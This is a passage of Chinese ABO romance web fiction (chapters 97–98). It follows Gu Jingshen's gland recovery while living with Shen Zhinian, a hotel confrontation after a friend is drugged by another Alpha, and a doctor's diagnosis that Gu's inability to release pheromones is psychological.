他们堵塞身体素质比驴还好,现在的情况只是看起来不太好,但是基本的细胞已经激活,以他们的身体条件,假以时日,完完全全可以自愈。” 沈之年悬着的心,终于彻底放了下来,指尖微微颤抖,连声音都带着一丝不易察觉的沙哑:“真的?那……他什么时候能彻底痊愈?什么时候能够出院?” 顾景深之前虽然也能够离开医院,但是其实并不算出院,只是考虑到一个失控的特优级Alpha带来的伤害可能是不可估量的,才让他“回家住院。” “自愈的时间,根据每个人的情况不同可能有浮动,我也说不准,但是随时可以出院。”医生说道,目光在沈之年和顾景深之间转了一圈,补充道,“还有一个好消息,之前为了避免顾先生的腺体受到刺激,我们限制了你们之间的近距离接触,但现在不用了。而且我们建议,顾先生出院后,最好和您生活在一起。” 沈之年愣了一下,有些不解:“和我生活在一起?” “对。”医生耐心解释,“顾先生的腺体受损,需要长期的信息素滋养,而您的信息素和他极致匹配,对他的腺体修复有极大的帮助。长期处于您的信息素环境中,他的恢复速度会加快,而且能有效避免腺体出现二次损伤。简单来说,您的信息素,就是他最好的药。” “虽暂时没有能够说出的系统理论,但是之前顾总的痊愈历程就是这种情况最好的证明,您知道的,您的信息素可以引导顾总的腺体更好的发育。” “我和年年生活在一起?”顾景深现在不太喜欢接受太多的信息,但是还是在冗长的对话中一下子抓住了重点。 医生转过身,笑着重复了一遍:“没错,顾先生,您恢复得很好,可以出院了,而且建议您出院后和沈先生生活在一起,他的信息素对您的腺体恢复很有帮助。” 顾景深的眼睛亮了一下,他看向沈之年,语气小心翼翼,甚至带着一丝卑微:“年年,这……我尽量不麻烦你,我只是……” “我愿意。”沈之年打断了他的话,拍拍顾景深的肩膀,“医生说你的身体需要我,我会留下来陪你,和你一起生活,直到你的腺体完全恢复。” 沈之年避开了他灼热的目光,转身对医生说:“麻烦您帮我们办理出院手续,我们今天就出院。” “好的,沈先生。”医生点了点头,转身离开了病房—— 他们终于可以回到自己家。 顾景深的声音有些小心翼翼,目光紧紧盯着沈之年,“先坐下休息吧,我去给你倒杯水。” 像是假的一样,接下来年年都会和他一起生活在家里,他以为自己一辈子等不到这一天了。 沈之年的心头一暖,眼底闪过一丝柔和,拍拍顾景深的肩膀,“大病人,你就坐下吧。” 可能是恶趣味,看顾景深这样坐立难安的试探,他心里竟然升起了一点诡异的满足。 沈之年转身走进厨房,打开冰箱,里面竟然放着他喜欢喝的柠檬水,还有一些他爱吃的水果,显然是早就准备好的。 他最后还是倒了一杯温水,沈之年端着走进客厅,递给顾景深。 顾景深接过水杯,指尖不小心碰到沈之年的指尖,两人都下意识地顿了一下,随即顾景深收回了手,坐在了他对面的沙发上,拿出手机,假装看信息,以此来掩饰自己的慌乱。 沈之年看向顾景深。 可爱。 然后才选了一个距离顾景深不远不近的地方坐下。 淡淡的花香味飘了过来,顾景深的身体一瞬间就紧绷起来,他喝了一口水,状似不经意地说道:“年年,以后我们就住在这里,好不好?这里什么都有,你住得也习惯。” 沈之年抬眼,看了他一眼,点了点头:“好,先住在这里,等你的腺体恢复了,我们再商量。” “恢复了之后呢?”顾景深的声音带着一丝急切,“年年,等我的腺体恢复了,你……你会离开我吗?” 沈之年沉默了片刻,看着他眼底的忐忑和不安,心里软了下来,语气认真地说道:“我不会离开你,我会一直陪着你,直到你的腺体完全恢复。” 沈之年看了看窗外,天色昏暗,医生特意嘱咐过顾景深现在需要健康作息,他站起身,“你好好休息,我就在隔壁房间,有什么事,你叫我。”—— 夜色渐深,别墅里静得只剩下窗外的风声。沈之年靠在床头,手里捧着一本书,却没怎么看进去,说不上来为什么,总觉得心里不够安宁。 看了约莫半个小时,总也看不进去,干脆就不看了,沈之年合上书,伸手去按床头的开关,打算关灯休息。隔壁房间突然传来“咚”的一声重响,像是有人从床上摔了下来,沉闷又急促。 沈之年的心猛地一紧,几乎是下意识地掀开被子,赤着脚就冲了出去,快步走到顾景深的房门口,用力推开房门:“顾景深!你怎么了?” 房间里一片漆黑,只有窗外透进来的月光,隐约能看到床边的地板上蜷缩着一个身影。 沈之年快步走过去,蹲下身,伸手摸到顾景深的额头,指尖瞬间被一层冰冷的冷汗浸湿,他的身体还在不停颤抖,牙关紧咬,像是在承受着巨大的痛苦,颈间的腺体处微微发烫。 “景深?景深你醒醒!” 沈之年微微俯身,抱起顾景深,将自己的信息素缓缓释放出来。淡淡的花香温柔地弥漫在房间里,一点点包裹住顾景深颤抖的身体。他的指尖轻轻落在顾景深的颈间,动作轻柔地抚摸着他的腺体,一边渡着信息素,一边轻声安抚:“别怕,我在,很快就好了。” 花香的信息素像是一剂良药,渐渐抚平了顾景深的痛苦。 他缓缓睁开眼睛,眼底还蒙着一层水汽,脸色依旧苍白,额头的冷汗还在不停往下淌,看到蹲在身边的沈之年时,眼底瞬间泛起委屈,声音沙哑得几乎听不清:“年年……我好疼……” 他伸手擦去顾景深额头的冷汗,语气放得极柔:“我知道,再忍忍,很快就不疼了。” “这是自然的自愈现象。”沈之年说。 不知道是说给顾景深听还是说给自己听。 之前医生交代过,在自愈的过程中,腺体会偶发痉挛,腺体是很敏感的部位,沈之年想过也许会很痛,但是顾景深现在表现还是超出了沈之年的想象。 借着月光,沈之年能够看到顾景深的额头冷汗涔涔,两行泪水沿着脸颊落下来,险些分不清是汗水还是泪水。 在之前,也许顾景深不知道这样痛过多少次。 又过了约莫十分钟,顾景深的身体渐渐停止了颤抖,脸色也缓和了一些,腺体的灼热感也褪去了不少。他伸手,紧紧抓住沈之年的手腕,像是抓住了救命稻草,眼底满是依赖和委屈:“年年,好痛,我以为……我以为我又要失去意识了,还好你来了。” 沈之年看着他红红的眼眶,心里软得一塌糊涂,语气也柔和了许多:“我在,不会让你一个人的。现在感觉怎么样?能起来吗?” 顾景深点了点头,却没有松开他的手,反而微微用力,拉着他不肯放,眼底泛起一丝水光,带着明显的卖可怜:“我好多了,可是……年年,你留下来陪我好不好?就像之前一样,我就只是想靠着你,这样我才安心。” 他一边说,一边微微低下头,长长的睫毛垂着,还带着未干的水汽,一副可怜兮兮的模样 沈之年沉默了片刻,轻轻点了点头,语气无奈却温柔:“好,我留下来陪你。先起来回床上睡,地上凉。” 顾景深听到这句话,眼底瞬间亮了起来,像是得到了奖励的孩子,连忙点了点头,借着沈之年的力气慢慢站起身,乖乖地躺回床上。沈之年替他盖好被子,褪去外套,轻轻躺在床的另一边,背对着顾景深。 房间里很安静,只能听到两人均匀的呼吸声。 顾景深躺在床上,目光一直落在沈之年的背影上,他悄悄往沈之年的方向挪了挪,小心翼翼地伸出手,轻轻抱住他的腰,感受着他身上的温度和信息素,才安心地闭上了眼睛—— 一夜无梦,第二天早上,沈之年醒来的时候,发现顾景深还抱着他,睡得很沉,眉头微微皱着,仿佛在做什么不好的梦。沈之年轻轻挪了挪身体,想挣脱他的拥抱,却不小心惊动了他。 顾景深立刻睁开眼睛,看到沈之年还在身边, “你醒了,我去给你做早餐。” 顾景深说完也不动,还是环着沈之年的腰,又闭上了眼睛。 不需要沈之年刻意释放信息素,房间里就弥漫着一股淡淡的花香让顾景深昏昏欲睡,那个痉挛是偶发性,但是还想测试自己是不是还活着一样,腺体经常会突然疼痛一下,他很久没能好好睡一觉了。 被窝暖暖的,顾景深的身体热热的,让人想悠闲的睡一个回笼觉—— 等到再起来的时候,吃的已经是午饭了, 顾景深把厨具扔给家居机器人,看到在沙发上犹豫要不要坐在沈之年的身边,门铃响了。 “我去开门。”沈之年站起身,走向门口。他以为是顾景深的助理送东西过来,可打开门,看到的却是林之白。 “哥哥?你怎么来了?”沈之年有些惊讶,连忙让他进来,“快进来坐。” 林之白走进客厅,看到坐在餐桌旁的顾景深,又快速转移了视线,他现在不知道怎么面对顾景深。 按理说他们之间的关系现在并没有那么紧张,但是林之白也没给过他什么好脸,现在反而不知道应该摆出什么表情,干脆就假装不知道。 林之白转身坐在沈之年身边,“年年,我担心你在这边生活的不习惯,特意过来看看你,给你带了你最喜欢吃的桂花糕,还有一些调理信息素的药剂,你这段时间一直给他渡信息素,肯定很辛苦,多补补。”、 “其实如果没有必要的话,我们可以接着回家住嘛。”虽然林之白知道沈之年和顾景深复婚了,但是他其实还是觉得那只是让顾景深安心的一时之计。 两个人的关系还是腰从长计议的。 其实沈之年之前的那段婚姻,真的让他成长很多,至少现在沈之年不会因为他是自己的丈夫,因为爱情飞蛾扑火。 顾景深也明白这个道理,Alpha的身体条件好,虽然他现在人还在厨房洗水果,但是还能隐隐约约听到两个人说的话。 当然是,没有必要的。 用大夫的话说,特优级的Alpha就是活驴,他现在已经完全进入了自愈阶段,沈之年在的话会让他痊愈的更快更好,留下后遗症的可能性变小。 但是不代表沈之年一定要留下。 “谢谢你,哥哥。”沈之年笑了笑,语气温柔,“让你担心了,我没事,就是有点累而已。” “顾景深的身体还不太好,需要我留下,需要我的信息素,我得留在这里配着他。” 林之白上下打量了他一番,确认他真的没事,才松了一口气,“行吧,顾景深也算是比较绅士,如果他有什么冒犯的举动你一定要回去啊!” “啊?”沈之年没懂林之白的意思。 恰好这个时候顾景深出来,林之白也立刻就调转了矛头,“顾总,你真的能够控制好自己的信息素,对吧!” 匹配度太高,信息素长期纠缠在一起,指不定什么时候就再滚到一起,林之白打心底里不想看到这样的结果,至少他觉得目前,沈之年还没能想清楚两个人之间的关系之前,他不想两个人这么稀里糊涂的再走到一起。 顾景深自然是连连承诺自己一定克己复礼。 沈之年的的目光缓缓转向那边不停的承诺着的顾景深。 顾景深被林之年逼着发了几十道毒誓,从公司破产,到死无葬身之地,甚至开始后悔自己的水果实在是洗的太快了,最后才得以脱身。 等他脱身看向沈之年的时候,恰好和沈之年直愣愣的眼神对上。 不知道怎么回事,顾景深被他看得心里发慌,下意识地避开他的目光, 林之白察觉到气氛不对,看了看沈之年,又看了看顾景深,有些疑惑:“年年,怎么了?我说错什么了吗?是不是我说的话,让你不舒服了?” 沈之年摇了摇头,勉强笑了笑,压下心底的疑虑,语气平静:“怎么会,哥哥,我知道你是疼爱我嘛。” 林之白点了点头,没有再多问,又和沈之年聊了一会儿,叮嘱他好好照顾自己,不要太辛苦,便起身告辞了。“之年,我还有事,就不打扰你了,你好好照顾自己,也好好照顾他,要是他敢欺负你,或者耍什么花样,你随时给我打电话。” “好,我会的,谢谢你,哥哥。”沈之年送他到门口,看着他离开,才缓缓关上了门。 合上门的一瞬间,沈之年皱起眉头,吸了吸鼻子, 果然,房间里面只有他的信息素味道,浓得都快盖不住其他味道了。 一点顾景深的信息素都没闻到? 按理说,他就算腺体受损,也应该会有微弱的信息素散发出来才对,至少医生是这么说的 而且他们这么高的匹配度,他的信息素混合在一起,应该会很和谐,也能帮两个人各自稳定信息素, 如果林之白不说,他还没有刻意去察觉。自从回到这个别墅,他就一直被自己的信息素包围着,不管是客厅、卧室,还是厨房,到处都是淡淡的花香,没有一丝一毫顾景深的柑橘味信息素。 医生明明说过,顾景深的各项生命指标已经平稳,腺体虽然还不能完全恢复正常功能,但已经能分泌微弱的信息素了。可他,却从来没有在这个房子里,闻到过一丝顾景深的信息素,哪怕是最微弱的一丝。 沈之年还陷入在思考里,身后就传来一道温热的气息,一双有力的手臂轻轻环住了他的腰,将他稳稳圈在怀里。 顾景深的下巴抵在他的颈窝,语气软软的,像是一只餍足的大猫:“在想什么?” 沈之年的身体僵了一瞬,随即缓缓放松下来,没有挣开他的怀抱,反而转过身,轻轻回抱住他。 沈之年的脸颊轻轻贴在顾景深的胸口,能清晰地听到他有力的心跳声,沉稳而急促,带着一丝不易察觉的紧张。 他沉默了片刻,抬手轻轻抚上顾景深的颈间,指尖触碰到他微凉的皮肤,动作轻柔地拨开他颈后的碎发,露出那处曾经红肿、如今已消退大半的腺体。 他微微凑近,鼻尖几乎要碰到顾景深的腺体,细细嗅了嗅——没有一丝一毫柑橘味,哪怕是最微弱的一丝都没有。 医生明明说过,顾景深的腺体已经能分泌微弱的信息素了。沈之年的心底掠过一丝淡淡的疑虑,指尖轻轻摩挲着他的腺体,张了张嘴,正想轻声问一句“你的腺体,真的开始痊愈了么?” 可就在这时,顾景深突然闷哼一声,身体猛地一僵,环在沈之年腰上的手臂瞬间收紧,随即又无力地松开。身体不受控制地往下瘫倒,嘴里还低低地喊着:“年年……疼……我的腺体……好疼……” 沈之年的心猛地一紧,所有的疑虑瞬间被担忧取代,哪里还顾得上追问。他连忙伸手扶住顾景深,却没能稳住他下坠的身体,只能陪着他一起蹲下身,双手紧紧扶住他的肩膀,语气里满是慌乱:“景深!怎么了?是不是腺体又疼了?别怕,我在!” 没有丝毫犹豫,沈之年立刻释放出自己的信息素。淡淡的花香温柔地弥漫开来,比平时渡信息素时更浓郁一些,带着安抚人心的力量,小心翼翼地包裹住顾景深的身体。他的指尖轻轻按在顾景深的腺体上,动作轻柔地按摩着,一边渡着信息素,一边轻声安抚:“我在渡信息素了,很快就不疼了,再忍忍,好不好?” 顾景深靠在他的怀里,脸埋在他的胸口,身体微微颤抖,呼吸急促。 可沈之年却渐渐察觉到了一丝不对劲——他的信息素刚释放没多久,顾景深的颤抖就轻了许多,呼吸也平稳了不少。 而且这次怎么脸色红润,一点汗都没有流。 沈之年的动作顿了顿,眼底掠过一丝了然,随即又染上一层淡淡的笑意,无奈又温柔。他故意没有点破,只是放缓了渡信息素的速度,指尖依旧轻轻摩挲着顾景深的腺体,语气依旧温柔:“还疼吗?要不要再渡一会儿?” 顾景深埋在他的颈窝,偷偷抬眼瞄了他一眼,看到沈之年没有察觉,又飞快地低下头,故意皱着眉,语气带着一丝委屈和虚弱:“还有点疼……年年,再渡一会儿,好不好?” “你疼疼我。” 看着他这副故作痛苦、实则撒娇的模样,沈之年再也忍不住,低头,在他的腺体上轻轻吻了一下。动作很轻,带着一丝温热的触感,像羽毛拂过,温柔得不像话。 这一吻落下的瞬间,顾景深的身体猛地一僵,随即彻底放松下来,连最后一丝伪装的颤抖都消失了。他抬起头,脸眼底满是惊喜和笑意,哪里还有半分痛苦的样子。 “还疼么?” “不疼了!”顾景深立刻开口,语气里带着一丝不易察觉的雀跃和讨好,伸手紧紧抱住沈之年的脖子,将脸埋在他的颈间,声音软软的,“年年,你一吻我就不疼了,一点都不疼了。” “你说是不是很神奇?” 第97章 夜已经深。 主卧的遮光帘拉得严丝合缝, 只留一盏暖黄的壁灯,将顾景深和沈之年的身影揉进柔软的床榻里。 顾景深刚刚洗完澡,还沾着浴室里未散的海洋沐浴露香气, 沈之年身上也有这样的味道,靠在床边在看书,光暖暖的,书页都泛着金边。 顾景深正要往沈之年怀里钻, 光脑突然爆发出一阵急促的震动。 是群聊消息,一条接一条, 顾景深的眉峰微不可察地动了一下, 刚才沈之年才亲亲他的腺体, 现在正是好时候,他打算不理会,伸手环住身边美人的腰肢,“年年……” 但是消息还是没打算放过他,滴滴滴滴滴的像密集的雨点砸在玻璃上。 最后还是沈之年无奈,点开了光脑。 【霸道总裁群】 顾景深和发小们的群聊, 就是没想到名字这么风骚 【AAA建材王总】:我刚在铂悦酒店门口看见薄斯年了,跟个人一前一后进去的,俺娘来,他出轨了?? 【丫头, 你成功吸引了我的注意】:真的假的?他跟林之白的狗有什么区别, 出轨??@我是老婆的狗,狗,出来说话。 【AAA建材王总】:【图片】 画面里,薄斯年穿着黑色风衣,被一个陌生男人揽着的肩膀, 两人距离极近,几乎贴在一起,正往电梯口走。男人的侧脸被帽檐遮了大半,看不清楚脸。 沈之年的血液瞬间冲上头顶。 薄斯年,和别人进酒店?? 他猛地坐起身,“顾景深,”他的声音发紧,带着压抑的怒火,“这是怎么回事,你是不是早就知道?”说完就觉得自己有点失去理智,一翻身就下床穿衣服。 没想到顾景深下床更快,一边套衣服一边还不忘说话,“我绝对不知道,我唾弃这种行为,太不是东西了,我耻于和这种人做兄弟。” “我们立刻过去!” “年年,我们去铂悦,抓个现行。” 沈之年愣住了。他没想到,顾景深动作这么利索。 穿衣服的动作都僵硬在了原地,顾景深走过去帮沈之年拽下衣服,遮住柔软的小腹,“快点,一会跑了就逮不住现形了。” 在这场失败的婚姻里,顾景深其实体会到了一个简单的道理,犹豫的时候就去做老婆需要的事情。 虽然他相信薄斯年不是这样的人,但是这个时候和沈之年争论是失去意义的,过去就好了。 不是的话顶多丢一点面子,但是和老婆比起来,面子算个屁。 是的话,那就对不起了,薄斯年。 真可惜,这还是薄斯年给他讲的道理—— 车里的气氛压抑得可怕。 顾景深开着车,车速快得惊人,方向盘被他握得咯吱作响。 沈之年坐在副驾驶,看着窗外飞速倒退的街景,心里五味杂陈。他希望这一切都是误会,虽然外人看不出,但是沈之年知道,林之白对薄斯年并不是全然的利用,其实他对薄斯年很有感情。 铂悦酒店就在首都星的中心,二十分钟后,车停在了酒店门口。 顾景深拉着沈之年的手腕,大步流星地走进大堂。前台小姐刚要询问,顾景深直接甩出一张黑卡:“薄斯年,开的是哪间房?” 前台小姐不敢怠慢,快速查询后,报出了房间号:“1908号房,先生。” 这是顾家的产业之一,本来他也不应该如此,但是有时候为了讨老婆欢心可以使用一些小小的特权,这也是薄斯年教的。 两人乘着电梯直达十九楼。电梯门一开,一股浓郁到化不开的Alpha信息素就扑面而来。 是一种混杂着铁锈和硝烟的味道,暴戾、狂躁,带着极强的攻击性,像是两头被激怒的野兽,在空气中肆意冲撞。 沈之年的身体猛地一颤,后颈的腺体传来一阵刺痛。 他是Omega,对高浓度的Alpha信息素本就敏感,更何况是这种充满恶意的信息素,幸好来之前还贴了信息素的抑制贴,不过是眩晕了一瞬间,还能坚持 他下意识地往顾景深身边靠了靠,双手紧紧抓住顾景深的衣角,又陡然意识到, “景深,你还好么?” Alpha是非常有领地意识的生物,这么浓郁的信息素,Alpha会下意识的反击,但是他的腺体…… “别怕,我没事,还能坚持。”顾景深低声安抚,手臂揽住他的肩膀,将他护在怀里。 两人快步走到1908号房门口。房门虚掩着,信息素的味道都是从里面传出来的 顾景深眼神一沉,抬脚踹开了房门。 门内的景象,让两人同时愣住。 房间里一片狼藉,沙发被掀翻,茶几上的玻璃杯碎了一地,地毯上沾着点点血迹。 薄斯年正骑在那个陌生男人身上,一拳又一拳地砸在男人的脸上,动作狠戾,眼神猩红,完全失去了理智。 男人被打得鼻青脸肿,嘴角淌着血,双手抱着头,不停求饶:“我错了……薄总,我错了……我再也不敢了……” 沈之年的心瞬间提到了嗓子眼。他知道,薄斯年这是不知怎么被刺激到了易感期,又被对方的信息素压制,才会失控暴走。 更让他担心的是顾景深。 顾景深也是顶级Alpha,身处这样高浓度的攻击性信息素环境中,很容易被激发易感期,甚至出现信息素紊乱的情况。沈之年紧张地看着顾景深,生怕他有什么不适。 可顾景深,却异常平静。 他揽着沈之年的手臂没有丝毫松动,眼神冷静地扫过房间里的景象,脸上没有任何被信息素影响的迹象,连呼吸都依旧平稳,信息素,也没有丝毫溢出。 沈之年愣了一下,心里突然升起一丝异样。 就在这时,薄斯年的拳头又要落下,男人的意识已经开始模糊,眼看就要被打死了。 “薄斯年!住手!”沈之年大喊一声,挣脱开顾景深的怀抱,快步冲了过去。 薄斯年的动作顿了顿,猩红的目光转向他,带着一丝茫然,像是没认出他是谁。下一秒,他又猛地转过头,继续朝着男人挥拳。 “薄斯年!你醒醒!这人就要死了!”沈之年抓住他的手臂,用力想把他拉开。可薄斯年此刻的力气大得惊人,沈之年根本不是他的对手,反而被他一把甩开,踉跄着后退了几步。 顾景深快步上前,扶住沈之年的腰,将他护在身后。“年年,你别过来。” 他看向薄斯年,语气冰冷:“薄斯年,够了。” 薄斯年充耳不闻,依旧对男人拳打脚踢。男人的气息越来越微弱,眼看就要撑不住了。 沈之年急了,抬头看向顾景深,语气带着恳求:“顾景深,释放你的信息素!压制住他们两个,不然薄斯年真的会出人命的!” 这是最直接、最有效的办法。顾景深是顶级Alpha,信息素极具威慑力,只要释放出来,就能瞬间压制住房间里的两股信息素,能保住那个男人的性命。 顾景深的身体猛地一僵。 他低头看向沈之年,然后摇了摇头,避开了他的目光。“用不着。” 沈之年愣住了。 不等他再追问,顾景深已经大步冲了过去。他没有释放信息素,而是找准时机,一把扣住薄斯年的手腕,另一只手按住他的肩膀,用力将他从男人身上拽了下来。 薄斯年失控地挣扎着,嘴里嘶吼着:“放开我!我要杀了他!” 顾景深的力气比薄斯年大,又更擅长近身格斗。 他避开薄斯年挥来的拳头,手肘狠狠击在薄斯年的后颈上。薄斯年的身体一软,瞬间失去了力气,倒在顾景深的怀里,大口大口地喘着气。 顾景深将薄斯年扶到一旁的沙发上,又看向地上的男人。男人已经昏了过去,脸上血肉模糊,气息奄奄。他拿出手机,快速拨打了两个电话,一个打给医院,一个打给警局。 做完这一切,他才转身走向沈之年,伸手揽住他的肩膀。“没事了。”—— 酒店的走廊里很快传来了脚步声,医生和警察先后赶到。医生将薄斯年和那个男人抬上了救护车,警察则开始对现场进行勘查,并向顾景深和沈之年了解情况。 顾景深言简意赅地说明了事情的经过,只说薄斯年被人恶意挑衅,情绪失控,至于其他的,他表示会配合警方调查—— 一切处理妥当,已经是凌晨三点。 两人驱车回家,车里依旧一片沉默。 沈之年靠在副驾驶的椅背上,看着窗外漆黑的夜色,脑子里乱糟糟的。 但是还是把今天发生的事情一五一十的汇报给了在外面出差的林之白。 隔着光脑,沈之年看不出他的态度…… 回到家,两人洗漱完毕,重新躺回床上。 遮光帘依旧拉得严丝合缝,暖黄的壁灯,还是离开时的模样。 沈之年侧身躺着,背对着顾景深。顾景深从身后轻轻抱住他,下巴抵在他的发顶,手臂揽着他的腰,力道很轻,带着一丝小心翼翼。 就在这时,顾景深的手机响了,是一条消息。他拿过手机看了一眼,然后递给沈之年。 是薄斯年发来的,附带了一份医院的诊断报告和警方的初步调查结果。 【薄斯年】:年年,景深,对不起,让你们担心了。那个男人叫张诚,是我最近的合作对象,他说时间上有冲突希望能够和我在酒店签约,我没多想就去了,没想到这是个变态Alpha,不知道给我灌了什么,促使我直接假性易感期,想强迫我。我发现后,跟他起了冲突,他就释放出高浓度的攻击性信息素,想逼我就范。我一时失控,才会动手打他。医院检查,我腺体轻微受损,没什么大碍。警方已经立案,张诚涉嫌故意伤害和强制标记未遂,会被依法处理。 【薄斯年】:妈的,遇到变态了!真有Alpha想干Alpha啊,我以为是都市传说呢。 沈之年看完消息,心里的石头终于落地。原来,一切都是误会。 但是慢慢的,有一点尴尬涌了上来,直击哥夫被强迫的现场,甚至从某种意义上,他守护了哥夫的屁股…… 他把手机还给顾景深,缓缓吐出一句,“下次还是不要这么冲动了” 顾景深把手机放在床头柜上,轻笑一声,重新抱住他,语气温柔:“没事,至少现在放心了吧?” “睡觉吧,很晚了。”沈之年是没有熬夜的习惯的,现在这个时间多于他来说真的太晚了。 沈之年沉默了很久,终于转过身,面对着他。床头灯的光,照亮了顾景深的脸,他的眼底布满了红血丝,带着一丝疲惫,却依旧温柔地看着他。 沈之年抬起手,指尖轻轻拂过他的后颈。那里,贴着一张崭新的阻隔贴,平整光滑,没有丝毫褶皱。 他的心跳,突然变得飞快。 “顾景深,”他的声音很轻,“你的腺体,是不是出了问题?” 顾景深的身体,瞬间僵硬。 他看着沈之年的眼睛,那双清澈的眼眸里,满是认真和担忧,他张了张嘴,想说些什么,却发现,所有的借口,在这一刻,都显得那么苍白无力。 沈之年的指尖,依旧停留在他的后颈上,轻轻摩挲着阻隔贴的边缘。“你是不是……无法释放信息素了?” 夜色,仿佛在这一刻,凝固了。 “是。” 第98章 “医生, 您好,”沈之年的声音放得很轻,语速也很慢, 其实他也不太能很好的措辞,“我们过来做一次检查,景深的腺体好像还是不太对劲,到今天还是无法正常释放信息素, 我们想再看看。” “昨天我们偶然遇到两个Alpha失控,面对这样的情况景深的腺体还是没有反应……”沈之年隐去捉奸的部分, 把昨天的情况大致同医生讲过。 “顾先生的情况我记得, ”医生顿了顿, 语气带着一丝疑惑,“上次检查的时候,他的腺体恢复得很好,各项指标都在正常范围内,按道理来说,应该已经能正常分泌信息素了。面对失控Alpha也无法释放信息素, 这确实不太寻常……” “这样吧,你们去做一个全面检查,正好今天有位Alpha腺体领域的专家在我院坐诊,要是有什么问题, 也能请专家一起看看, 更放心些。” “好,谢谢您,医生,我们马上就过去。”顾景深和沈之年拿过检查单就出了门。 现在的技术都已经很成熟,等待时间并不算太长, 但是等待本就漫长。 沈之年时不时侧头看一眼顾景深,发现他一直望着窗外,便悄悄握住他的手,轻轻捏了捏。 顾景深侧过头,看向他,嘴角勾起一抹浅淡的笑意,然后靠在沈之年的肩头,出门的时候贴了抑制贴,但是凑近了还能闻到一点淡淡的花香味。 他有点陶陶然了。 很快,检查结果出来了。王医生拿着检查报告,眉头微微蹙起,脸上露出一丝疑惑:“奇怪,顾先生,你的腺体各项指标比上次检查还要好,几乎已经恢复到受伤前的状态,理论上,绝对可以正常释放信息素,可为什么……” “光看各项指标,我觉得甚至可以直接宣布您痊愈了,但是释放信息素确实是一个重要的评判指标,毕竟腺体最重要的一个功能就是能释放信息素……” 他顿了顿,看向顾景深:“顾先生,你再试着调动一下信息素,看看有没有反应。” 顾景深深吸一口气,闭上眼睛,努力调动体内的信息素。他能感觉到,后颈的腺体传来一阵轻微的酸胀,却没有丝毫柑橘味信息素溢出,他轻轻摇了摇头:“还是不行,调动不出来。” 其实这是意料之中的,这些情况他不是没有猜到。 昨天那样的情况,释放信息素对于Alpha应该是一种条件反射,Alpha本身自保的意识让他们下意识的这么做,那样的情况都不能释放信息素,只能说明是病理性的。 医生的眉头皱得更紧了:“这就奇怪了,各项指标都正常,怎么会无法释放信息素呢?”他沉思了片刻,像是想起了什么,“其实现在顾先生的腺体状态不错,两位的匹配度又很高,同居一室,有没有尝试……” 沈之年听出了大夫的未尽之意,他其实还是有传统的性格在,脸上有一点发烫,还是缓缓的摇了头。 “这……”医生露出了一点为难的脸色,“对了,今天有位Alpha腺体领域的权威专家在我院坐诊,我去请他过来,一起帮你看看,说不定能找到问题所在。” 说着,医生起身,走出了诊室。 没过多久,诊室的门被推开,王医生走了进来,身后跟着一个男人。男人穿着一身白色的医生袍,身姿挺拔,面容清俊,鼻梁上架着一副金丝眼镜,眼神温和。 沈之年愣了一下,顾景深看到男人的瞬间,身体猛地一僵,握着沈之年的手瞬间收紧,眼底闪过一丝惊讶和敌意。 “薛明亦?”顾景深的声音带着一丝咬牙切齿,“怎么是你?” 现在顾景深最不想看到薛明亦了,也没有其他的时候就愿意看到薛明亦的意思。 “还没回医疗星啊,留在这里还有什么事情么?”顾景深觉得出门还是有点仓促的,结婚证昨天晚上看过之后就放进床头柜了吗,如果知道今天会遇到薛明亦,顾景深怎么也得拿上。 薛明亦挑了挑眉,不理会顾景深的挑衅,走到桌前,目光落在顾景深身上,嘴角勾起一抹玩味的笑,“当然还有事情,我又没死,我坚信世界上的事情只要没有盖棺定论,就总有变数。” “你说是不是?” 薛明亦一边说,一边拿起检查单,大致的情况之前的医生已经和薛明亦讲过了,大致浏览过,也看不出什么奇怪的。 就略带戏谑地开口吗,“顾总,好久不见,没想到,再次见面,你竟然连信息素都释放不出来了?”说完重重的叹息一声。 “薛明亦,你少在这里冷嘲热讽!”顾景深本来现在就情绪敏感,见到薛明亦这个觊觎他老婆的坏家伙,更是要哈气,“我有没有问题,跟你没关系,你要是不想看,就出去,把我的医生换回来。” 薛明亦不以为意,拿起桌上的检查报告,慢悠悠地翻看着,一边看,一边勾起唇角:“我这也不是关心你,我关心年年。” 说完看向沈之年,“年年,你如果有需要,可以找我,我还是随叫随到。” 一句话就把顾景深说炸毛了,沈之年赶紧握住顾景深的手,连连承诺都会陪在他身边,就算联系薛明亦也在他的监督之下。 “好了,明亦,你不要再开景深的玩笑了。” 他顿了顿,抬眼看向顾景深:“其实一般来说,这样的情况不是没有发生过,腺体完好,但是功能丧失,不过一般发生在年长男性的身上。” “你说我不行了!”顾景深再也忍不住,猛地站起身,就要走。 “景深,别冲动!”沈之年紧紧拉住他的手臂,语气急切,“他是专家,我们是来请他帮忙的,别跟他一般见识。” 然后转过头,“明亦你也是,不能好好说话么!” 薛明亦看到顾景深的胸口剧烈起伏着,牙齿咬得咯吱作响,胸中那股看到顾景深的恶气终于是消下去了一半多。 随即收起玩笑的神色,正色道:“好了,不跟你开玩笑了。从检查报告来看,你的腺体生理上确实没有任何问题,各项指标都很正常,之所以无法释放信息素,大概率是心病。” “心病?”顾景深皱起眉头,语气带着一丝疑惑和不屑,“什么心病?我没有心病。” “那你就是不行喽。”薛明亦两手一摊,也不和顾景深犟。 “你!”好不容易消下去的气,又涌了上来,顾景深真想给薛明亦那张狐狸脸上来一下子。 “明亦!你不要再开玩笑了!” 看到沈之年的俏脸通红,薛明亦才赶紧道歉。 “你有没有,自己心里清楚。”薛明亦推了推眼镜,语气平静,“你这么年轻,身体状态也不差,不应该出现不行的情况,那么大概率是你心底有什么郁结,过度焦虑、自卑,导致神经紧绷,抑制了信息素的分泌。这种情况,生理治疗没有太大作用,主要还是靠你自己调节心态,解开心底的结。” 他顿了顿,又补充道:“不过,这不是病理性的,心理的问题,我们目前也没有太好的解决办法,只能给你开一点药,刺激腺体,我也不知道能能对你的情况有一点帮助,至于能不能恢复,还要看你自己的心态。” 说着,薛明亦拿起笔,快速写了一张药方,递给顾景深,眼神里带着一丝不易察觉的狡黠,语气神秘:“这药,回去之后再看,一定要按时吃,不能擅自停药,也别让别人看到药方。” 顾景深接过药方,皱着眉头看了一眼,上面的字迹潦草,看不清具体是什么药,只能看到几个模糊的药名。他心里有些疑惑,却也没有多想,只当是薛明亦故意弄得神秘,不想让他知道药的成分。 “哼,算你还有点医德。”顾景深冷哼一声,语气依旧冰冷,“谢谢你。” 其实顾景深也知道,薛明亦就是打趣他,他不是坏人,之前他刚刚出事,薛明亦为了他的情况也算得上废寝忘食,把能问的人脉都叫来了。 凭心而论,如果是他遇到这样堵塞情况,他没有这样的胸襟帮情敌治疗腺体。 